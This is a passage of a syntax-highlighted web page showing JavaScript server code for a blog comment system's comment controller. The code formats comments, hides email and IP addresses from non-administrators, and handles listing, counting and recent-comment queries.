class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> parser = <span class="built_in">require</span>(<span class="string">&#x27;ua-parser-js&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> <span class="title class_">BaseRest</span> = <span class="built_in">require</span>(<span class="string">&#x27;./rest&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> akismet = <span class="built_in">require</span>(<span class="string">&#x27;../service/akismet&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> &#123; getMarkdownParser &#125; = <span class="built_in">require</span>(<span class="string">&#x27;../service/markdown&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> markdownParser = <span class="title function_">getMarkdownParser</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">formatCmt</span>(<span class="params"></span></span><br><span class="line"><span class="params">  &#123; ua, user_id, ip, ...comment &#125;,</span></span><br><span class="line"><span class="params">  users = [],</span></span><br><span class="line"><span class="params">  &#123; avatarProxy &#125;,</span></span><br><span class="line"><span class="params">  loginUser</span></span><br><span class="line"><span class="params"></span>) &#123;</span><br><span class="line">  ua = <span class="title function_">parser</span>(ua);</span><br><span class="line">  <span class="keyword">if</span> (!think.<span class="title function_">config</span>(<span class="string">&#x27;disableUserAgent&#x27;</span>)) &#123;</span><br><span class="line">    comment.<span class="property">browser</span> = <span class="string">`<span class="subst">$&#123;ua.browser.name || <span class="string">&#x27;&#x27;</span>&#125;</span><span class="subst">$&#123;(ua.browser.version || <span class="string">&#x27;&#x27;</span>)</span></span></span><br><span class="line"><span class="subst"><span class="string">      .split(<span class="string">&#x27;.&#x27;</span>)</span></span></span><br><span class="line"><span class="subst"><span class="string">      .slice(<span class="number">0</span>, <span class="number">2</span>)</span></span></span><br><span class="line"><span class="subst"><span class="string">      .join(<span class="string">&#x27;.&#x27;</span>)&#125;</span>`</span>;</span><br><span class="line">    comment.<span class="property">os</span> = [ua.<span class="property">os</span>.<span class="property">name</span>, ua.<span class="property">os</span>.<span class="property">version</span>].<span class="title function_">filter</span>(<span class="function">(<span class="params">v</span>) =&gt;</span> v).<span class="title function_">join</span>(<span class="string">&#x27; &#x27;</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> user = users.<span class="title function_">find</span>(<span class="function">(<span class="params">&#123; objectId &#125;</span>) =&gt;</span> user_id === objectId);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!think.<span class="title function_">isEmpty</span>(user)) &#123;</span><br><span class="line">    comment.<span class="property">nick</span> = user.<span class="property">display_name</span>;</span><br><span class="line">    comment.<span class="property">mail</span> = user.<span class="property">email</span>;</span><br><span class="line">    comment.<span class="property">link</span> = user.<span class="property">url</span>;</span><br><span class="line">    comment.<span class="property">type</span> = user.<span class="property">type</span>;</span><br><span class="line">    comment.<span class="property">label</span> = user.<span class="property">label</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> avatarUrl =</span><br><span class="line">    user &amp;&amp; user.<span class="property">avatar</span></span><br><span class="line">      ? user.<span class="property">avatar</span></span><br><span class="line">      : <span class="keyword">await</span> think.<span class="title function_">service</span>(<span class="string">&#x27;avatar&#x27;</span>).<span class="title function_">stringify</span>(comment);</span><br><span class="line"></span><br><span class="line">  comment.<span class="property">avatar</span> =</span><br><span class="line">    avatarProxy &amp;&amp; !avatarUrl.<span class="title function_">includes</span>(avatarProxy)</span><br><span class="line">      ? avatarProxy + <span class="string">&#x27;?url=&#x27;</span> + <span class="built_in">encodeURIComponent</span>(avatarUrl)</span><br><span class="line">      : avatarUrl;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> isAdmin = loginUser &amp;&amp; loginUser.<span class="property">type</span> === <span class="string">&#x27;administrator&#x27;</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!isAdmin) &#123;</span><br><span class="line">    <span class="keyword">delete</span> comment.<span class="property">mail</span>;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    comment.<span class="property">orig</span> = comment.<span class="property">comment</span>;</span><br><span class="line">    comment.<span class="property">ip</span> = ip;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// administrator can always show region</span></span><br><span class="line">  <span class="keyword">if</span> (isAdmin || !think.<span class="title function_">config</span>(<span class="string">&#x27;disableRegion&#x27;</span>)) &#123;</span><br><span class="line">    comment.<span class="property">addr</span> = <span class="keyword">await</span> think.<span class="title function_">ip2region</span>(ip, &#123; <span class="attr">depth</span>: isAdmin ? <span class="number">3</span> : <span class="number">1</span> &#125;);</span><br><span class="line">  &#125;</span><br><span class="line">  comment.<span class="property">comment</span> = <span class="title function_">markdownParser</span>(comment.<span class="property">comment</span>);</span><br><span class="line">  comment.<span class="property">like</span> = <span class="title class_">Number</span>(comment.<span class="property">like</span>) || <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> comment;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable language_">module</span>.<span class="property">exports</span> = <span class="keyword">class</span> <span class="title class_">extends</span> <span class="title class_">BaseRest</span> &#123;</span><br><span class="line">  <span class="title function_">constructor</span>(<span class="params">ctx</span>) &#123;</span><br><span class="line">    <span class="variable language_">super</span>(ctx);</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">modelInstance</span> = <span class="variable language_">this</span>.<span class="title function_">service</span>(</span><br><span class="line">      <span class="string">`storage/<span class="subst">$&#123;<span class="variable language_">this</span>.config(<span class="string">&#x27;storage&#x27;</span>)&#125;</span>`</span>,</span><br><span class="line">      <span class="string">&#x27;Comment&#x27;</span></span><br><span class="line">    );</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">async</span> <span class="title function_">getAction</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123; type &#125; = <span class="variable language_">this</span>.<span class="title function_">get</span>();</span><br><span class="line">    <span class="keyword">const</span> &#123; userInfo &#125; = <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">state</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">switch</span> (type) &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;recent&#x27;</span>: &#123;</span><br><span class="line">        <span class="keyword">const</span> &#123; count &#125; = <span class="variable language_">this</span>.<span class="title function_">get</span>();</span><br><span class="line">        <span class="keyword">const</span> where = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (think.<span class="title function_">isEmpty</span>(userInfo) || <span class="variable language_">this</span>.<span class="title function_">config</span>(<span class="string">&#x27;storage&#x27;</span>) === <span class="string">&#x27;deta&#x27;</span>) &#123;</span><br><span class="line">          where.<span class="property">status</span> = [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          where.<span class="property">_complex</span> = &#123;</span><br><span class="line">            <span class="attr">_logic</span>: <span class="string">&#x27;or&#x27;</span>,</span><br><span class="line">            <span class="attr">status</span>: [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]],</span><br><span class="line">            <span class="attr">user_id</span>: userInfo.<span class="property">objectId</span>,</span><br><span class="line">          &#125;;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">const</span> comments = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(where, &#123;</span><br><span class="line">          <span class="attr">desc</span>: <span class="string">&#x27;insertedAt&#x27;</span>,</span><br><span class="line">          <span class="attr">limit</span>: count,</span><br><span class="line">          <span class="attr">field</span>: [</span><br><span class="line">            <span class="string">&#x27;status&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;comment&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;insertedAt&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;link&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;mail&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;nick&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;url&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;pid&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;rid&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;ua&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;ip&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;user_id&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;sticky&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;like&#x27;</span>,</span><br><span class="line">          ],</span><br><span class="line">        &#125;);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">const</span> userModel = <span class="variable language_">this</span>.<span class="title function_">service</span>(</span><br><span class="line">          <span class="string">`storage/<span class="subst">$&#123;<span class="variable language_">this</span>.config(<span class="string">&#x27;storage&#x27;</span>)&#125;</span>`</span>,</span><br><span class="line">          <span class="string">&#x27;Users&#x27;</span></span><br><span class="line">        );</span><br><span class="line">        <span class="keyword">const</span> user_ids = <span class="title class_">Array</span>.<span class="title function_">from</span>(</span><br><span class="line">          <span class="keyword">new</span> <span class="title class_">Set</span>(comments.<span class="title function_">map</span>(<span class="function">(<span class="params">&#123; user_id &#125;</span>) =&gt;</span> user_id).<span class="title function_">filter</span>(<span class="function">(<span class="params">v</span>) =&gt;</span> v))</span><br><span class="line">        );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> users = [];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (user_ids.<span class="property">length</span>) &#123;</span><br><span class="line">          users = <span class="keyword">await</span> userModel.<span class="title function_">select</span>(</span><br><span class="line">            &#123; <span class="attr">objectId</span>: [<span class="string">&#x27;IN&#x27;</span>, user_ids] &#125;,</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="attr">field</span>: [</span><br><span class="line">                <span class="string">&#x27;display_name&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;email&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;url&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;type&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;avatar&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;label&#x27;</span>,</span><br><span class="line">              ],</span><br><span class="line">            &#125;</span><br><span class="line">          );</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">json</span>(</span><br><span class="line">          <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">all</span>(</span><br><span class="line">            comments.<span class="title function_">map</span>(<span class="function">(<span class="params">cmt</span>) =&gt;</span></span><br><span class="line">              <span class="title function_">formatCmt</span>(cmt, users, <span class="variable language_">this</span>.<span class="title function_">config</span>(), userInfo)</span><br><span class="line">            )</span><br><span class="line">          )</span><br><span class="line">        );</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;count&#x27;</span>: &#123;</span><br><span class="line">        <span class="keyword">const</span> &#123; url &#125; = <span class="variable language_">this</span>.<span class="title function_">get</span>();</span><br><span class="line">        <span class="keyword">const</span> where = &#123; <span class="attr">url</span>: [<span class="string">&#x27;IN&#x27;</span>, url] &#125;;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (think.<span class="title function_">isEmpty</span>(userInfo) || <span class="variable language_">this</span>.<span class="title function_">config</span>(<span class="string">&#x27;storage&#x27;</span>) === <span class="string">&#x27;deta&#x27;</span>) &#123;</span><br><span class="line">          where.<span class="property">status</span> = [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]];</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          where.<span class="property">_complex</span> = &#123;</span><br><span class="line">            <span class="attr">_logic</span>: <span class="string">&#x27;or&#x27;</span>,</span><br><span class="line">            <span class="attr">status</span>: [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]],</span><br><span class="line">            <span class="attr">user_id</span>: userInfo.<span class="property">objectId</span>,</span><br><span class="line">          &#125;;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">const</span> data = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(where, &#123; <span class="attr">field</span>: [<span class="string">&#x27;url&#x27;</span>] &#125;);</span><br><span class="line">        <span class="keyword">const</span> counts = url.<span class="title function_">map</span>(</span><br><span class="line">          <span class="function">(<span class="params">u</span>) =&gt;</span> data.<span class="title function_">filter</span>(<span class="function">(<span class="params">&#123; url &#125;</span>) =&gt;</span> url === u).<span class="property">length</span></span><br><span class="line">        );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">json</span>(counts.<span class="property">length</span> === <span class="number">1</span> ? counts[<span class="number">0</span>] : counts);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">case</span> <span class="string">&#x27;list&#x27;</span>: &#123;</span><br><span class="line">        <span class="keyword">const</span> &#123; page, pageSize, owner, status, keyword &#125; = <span class="variable language_">this</span>.<span class="title function_">get</span>();</span><br><span class="line">        <span class="keyword">const</span> where = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (owner === <span class="string">&#x27;mine&#x27;</span>) &#123;</span><br><span class="line">          <span class="keyword">const</span> &#123; userInfo &#125; = <span class="variable language_">this</span>.<span class="property">ctx</span>.<span class="property">state</span>;</span><br><span class="line"></span><br><span class="line">          where.<span class="property">mail</span> = userInfo.<span class="property">email</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (status) &#123;</span><br><span class="line">          where.<span class="property">status</span> = status;</span><br><span class="line"></span><br><span class="line">          <span class="comment">// compat with valine old data without status property</span></span><br><span class="line">          <span class="keyword">if</span> (status === <span class="string">&#x27;approved&#x27;</span>) &#123;</span><br><span class="line">            where.<span class="property">status</span> = [<span class="string">&#x27;NOT IN&#x27;</span>, [<span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;spam&#x27;</span>]];</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (keyword) &#123;</span><br><span class="line">          where.<span class="property">comment</span> = [<span class="string">&#x27;LIKE&#x27;</span>, <span class="string">`%<span class="subst">$&#123;keyword&#125;</span>%`</span>];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">const</span> count = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">count</span>(where);</span><br><span class="line">        <span class="keyword">const</span> spamCount = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">count</span>(&#123; <span class="attr">status</span>: <span class="string">&#x27;spam&#x27;</span> &#125;);</span><br><span class="line">        <span class="keyword">const</span> waitingCount = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">count</span>(&#123;</span><br><span class="line">          <span class="attr">status</span>: <span class="string">&#x27;waiting&#x27;</span>,</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="keyword">const</span> comments = <span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">modelInstance</span>.<span class="title function_">select</span>(where, &#123;</span><br><span class="line">          <span class="attr">desc</span>: <span class="string">&#x27;insertedAt&#x27;</span>,</span><br><span class="line">          <span class="attr">limit</span>: pageSize,</span><br><span class="line">          <span class="attr">offset</span>: <span class="title class_">Math</span>.<span class="title function_">max</span>((page - <span class="number">1</span>) * pageSize, <span class="number">0</span>),</span><br><span class="line">        &#125;);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">const</span> userModel = <span class="variable language_">this</span>.<span class="title function_">service</span>(</span><br><span class="line">          <span class="string">`storage/<span class="subst">$&#123;<span class="variable language_">this</span>.config(<span class="string">&#x27;storage&#x27;</span>)&#125;</span>`</span>,</span><br><span class="line">          <span class="string">&#x27;Users&#x27;</span></span><br><span class="line">        );</span><br><span class="line">        <span class="keyword">const</span> user_ids = <span class="title class_">Array</span>.<span class="title function_">from</span>(</span><br><span class="line">          <span class="keyword">new</span> <span class="title class_">Set</span>(comments.<span class="title function_">map</span>(<span class="function">(<span class="params">&#123; user_id &#125;</span>) =&gt;</span> user_id).<span class="title function_">filter</span>(<span class="function">(<span class="params">v</span>) =&gt;</span> v))</span><br><span class="line">        );</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> users = [];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (user_ids.<span class="property">length</span>) &#123;</span><br><span class="line">          users = <span class="keyword">await</span> userModel.<span class="title function_">select</span>(</span><br><span class="line">            &#123; <span class="attr">objectId</span>: [<span class="string">&#x27;IN&#x27;</span>, user_ids] &#125;,</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="attr">field</span>: [</span><br><span class="line">                <span class="string">&#x27;display_name&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;email&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;url&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;type&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;avatar&#x27;</span>,</span><br><span class="line">                <span class="string">&#x27;label&#x27;</span>,</span><br><span class="line">              ],</span><br><span class="line">            &#125;</span><br><span class="line">          );</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">success</span>(&#123;</span><br><span class="line">          page,</span><br><span class="line">          <span class="attr">totalPages</span>: <span class="title class_">Math</span>.<span class="title function_">ceil</span>(count / pageSize),</span><br><span class="line">          pageSize,</span><br><span class="line">          spamCount,</span><br><span class="line">          waitingCount,</span><br><span class="line">          <span class="attr">data</span>: <span class="keyword">await</span> <span class="title class_">Promise</span>.<span class="title function_">all</span>(</span><br><span class="line">            comments.<span class="title function_">map</span>(<span class="function">(<span class="params">cmt</span>) =&gt;</span></span><br><span class="line">              <span class="title function_">formatCmt</span>(cmt, users, <span class="variable language_">this</span>.<span class="title function_">config</span>(), userInfo)</span><br><span class="line">            )</span><br><span class="line">          ),</span><br><span class="line">        &#125;);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="attr">default</span>: &#123;</span><br><span class="line">        <span class="keyword">const</span> &#123; <span class="attr">path</span>: url, page, pageSize &#125; = <span class="variable language_">this</span>.<span class="title function_">get</span>();</span><br><span class="line">        <span class="keyword">const</span> where = &#123; url &#125;;</span><br><span class="line"></span><br><span class="line">        <span 